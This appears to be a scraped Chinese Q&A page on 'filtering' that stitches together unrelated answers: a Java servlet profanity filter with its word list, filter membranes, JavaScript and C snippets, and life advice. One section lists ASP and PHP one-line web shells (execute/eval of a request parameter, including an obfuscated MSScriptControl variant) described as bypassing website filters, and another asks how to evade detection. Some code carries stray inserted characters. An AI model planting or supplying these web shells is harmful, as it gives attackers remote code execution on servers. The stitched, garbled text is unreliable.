過濾的句子
❶ 在Jsp頁面或者Filter過濾器中怎麼過濾臟話
不管是JSP還是Servlet,其Filter過濾器都是一個東西。因為JSP的本質就是Servlet,只不過是被包裝了一下,成了標准,讓Web伺服器都遵循這個標准來解析編譯執行而已。 以下演示的就是在JSP中如何過濾臟話(Servlet的處理方式也差不多): 一、 過濾器類 package com.filter;import java.io.BufferedReader;import java.io.FileNotFoundException;import java.io.FileReader;import java.io.IOException;import java.util.HashMap;import java.util.Iterator;import java.util.Map;import java.util.Set;import javax.servlet.Filter;import javax.servlet.FilterChain;import javax.servlet.FilterConfig;import javax.servlet.ServletContext;import javax.servlet.ServletException;import javax.servlet.ServletRequest;import javax.servlet.ServletResponse;import javax.servlet.http.HttpServletRequest;public class WordsFilter implements Filter { private Map< String, String>map = new HashMap< String, String>(); //過濾器的初始化 public void init(FilterConfig config) throws ServletException { String filePath = config.getInitParameter("filePath");//從配置文件中取得文件的相對路徑 ServletContext context = config.getServletContext(); String realPath = context.getRealPath(filePath);//根據相對路徑取得絕對路徑 try { FileReader freader = new FileReader(realPath);//根據絕對路徑,通過文件流來讀取文件 BufferedReader br = new BufferedReader(freader); String line = null; while((line=br.readLine()) != null) { String []str = line.split("="); map.put(str[0], str[1]); } } catch (FileNotFoundException e) { e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } } public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { //亂碼處理 request.setCharacterEncoding("gb2312"); response.setContentType("text/html;charset=gb2312"); HttpServletRequest HttpReq = (HttpServletRequest) request; HttpReqWrapper hrw = new HttpReqWrapper(HttpReq); hrw.setMap(map); chain.doFilter(hrw, response); } public void destroy() { System.out.println("--過濾器的銷毀--"); } }二、請求包裝器
package com.filter;import java.util.Iterator;import java.util.Map;import java.util.Set;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletRequestWrapper;public class HttpReqWrapper extends HttpServletRequestWrapper { private Map< String,String> map = null; public HttpReqWrapper(HttpServletRequest request) { super(request); } //過濾臟話 public String replace(String str){ StringBuffer sb = new StringBuffer(str); Setkeys = this.getMap().keySet(); Iteratorit = keys.iterator(); String ss = null; while(it.hasNext()) { String key = it.next(); int index = sb.indexOf(key); if(index != -1) { if(key != null) ss = key; sb.replace(index, index+key.length(), this.getMap().get(key)); } } if(ss!=null) { if (sb.toString().indexOf(ss) == -1) { return sb.toString(); } else { return replace(sb.toString()); } } return sb.toString(); }// 重寫getParameter()方法 public String getParameter(String str) { if(str.equals("pager.offset")){ return super.getParameter(str); }else{ String content = super.getParameter(str); return replace(content); } } public Map< String,String> getMap() { return map; } public void setMap(Map< String,String> map) { this.map = map; } }
三、臟話列表word.txt媽的=**
老子=**
狗日的=***
我日=我*
TMD=***
我靠=我*
賤人=**
滾=*
操=*
四、web.xml中配置過濾器
<filter>
<filter-name>WordsFilter</filter-name>
<filter-class>com.filter.WordsFilter</filter-class>
<init-param>
<param-name>filePath</param-name>
<param-value>/WEB-INF/word.txt</param-value>
</init-param>
</filter>
<filter-mapping>
<filter-name>WordsFilter</filter-name>
<url-pattern>/getNote.jsp</url-pattern>
</filter-mapping>
❷ 過濾么過濾的話用什麼濾膜呢
濾膜,處理溶液中溶質的分離和增濃,也常用於膠狀懸浮液的分離,其應用領域版在不斷擴大。
主要權種類
超濾膜、微孔濾膜、納濾膜、微濾膜、中空纖維超濾膜、賽爾濾膜等。而目前超濾膜應用最廣泛,按濾膜形式,主要分為卷式,板框式,管式和中空纖維式濾膜等。
❸ 一句話木馬饒過過濾
願我的答案 能夠解決您的煩憂
加殼或者免殺就能通過,想繞過去太難了版,你可以一點一點試權試
1,什麼時候你能通過我下面的殺毒辦法了,那麼說明你已經成為大神了。
2,下載騰訊電腦管家「8.4」最新版,對電腦首先進行一個體檢,打開所有防火牆避免系統其餘文件被感染。
3,打開殺毒頁面開始查殺,切記要打開小紅傘引擎。
4,如果普通查殺不能解決問題,您可以打開騰訊電腦管家---工具箱---頑固木馬專殺- 進行深度
掃描。
5,查殺處理完所有病毒後,立刻重啟電腦,再進行一次安全體檢,清除多餘系統緩存文件,避免二次感染。
如果您對我的答案不滿意,可以繼續追問或者提出寶貴意見,謝謝
❹ 臟話過濾問題
自己做一個聊天程序,就可以自動過濾這些東西,但如果用別人已經做好的軟體有點難度了。我以前也編個聊天程序,而且特意把過濾臟話的功能加上。不過只是自己編著玩,沒加好的界面。
❺ 如何把那些無關緊要說的話沒用的給過濾掉不放在心上。。。。
既然知道是無關緊要何必放在心上,轉移注意力,聽聽歌,和朋友出去玩,忘掉一切和自己無關的事情。
❻ 一句話木馬及幾種可繞過過濾格式
2. <%executerequest("YouPass")%> 3. <%execute(request("YouPass"))%>免殺大部分網站的一句話 4.<% set ms = server.CreateObject("MSScriptControl.ScriptControl.1") ms.Language="VBScript" ms.AddObject "Response", Response ms.AddObject "request", request ms.ExecuteStatement("ev"&"al(request(""YouPass""))") %>繞過部版分網站過濾<%,%>的一句話 5.<script language=VBScript runat=server>execute request("YouPass")</script>繞過部分網站過濾雙引號權的一句話 6.<%eval request(YouPass(35))%>php一句話 7.<?>
❼ js 聊天框過濾臟話怎麼寫
草||
varinput.value="大壞蛋哦哦草";
varsensitivity="草|內日";//配置臟容話
varsen_arr=sensitivity.split("|");
for(vari=0;i<sen_arr.length;i++){
input.value=input.value.replace(sen_arr[i],"*");
}
❽ 不好聽的語氣和話我自動過濾,不好的事情和意思,我都屏蔽。我能做到嗎,要有信心。
只要功夫深,鐵杵磨成針。有志者,事竟成。你一定能做到,加油。
❾ pascal一個句子中也許有多個連續空格,過濾掉多餘的空格,只留下一個空格。
什麼來意思,看源不懂,是這樣么?
#include "stdio.h"
#include"string.h"
int main()
{
char zfc[1000],cs[1000];
//加上下面兩句
memset(zfc,0,1000);
memset(cs,0,1000);
int y,e=0,j=0,i=0;
gets(zfc);
y=strlen(zfc);
while(i<y){
e=0;
cs[j]=zfc[i];
if(zfc[i]==' '){
for(int a=i+1;a<y;a++){
if(zfc[a]==' '){
e++;
continue;
}
else{
break;
}
}
i=i+e;
}
j++;
i++;
}
cs[j+1]='\0';
printf("%s",cs);
return 0;
}
❿ 求一段JS過濾臟話的代碼
可以研究一下正則表達式:
var s="你好哎呦,嘟嘟,我們一起去吃飯吧?";//這個假設是你表單的文字
var reg=/(哎呦)|(嘟嘟)/g;//這個就是正則式了,將想過濾的詞彙放在這里
var str=s.match(reg).join("\",\"");//match可以將符合的詞彙挑出來組成一個數組
alert("請不要使用\""+str+"\"等不文明詞彙!");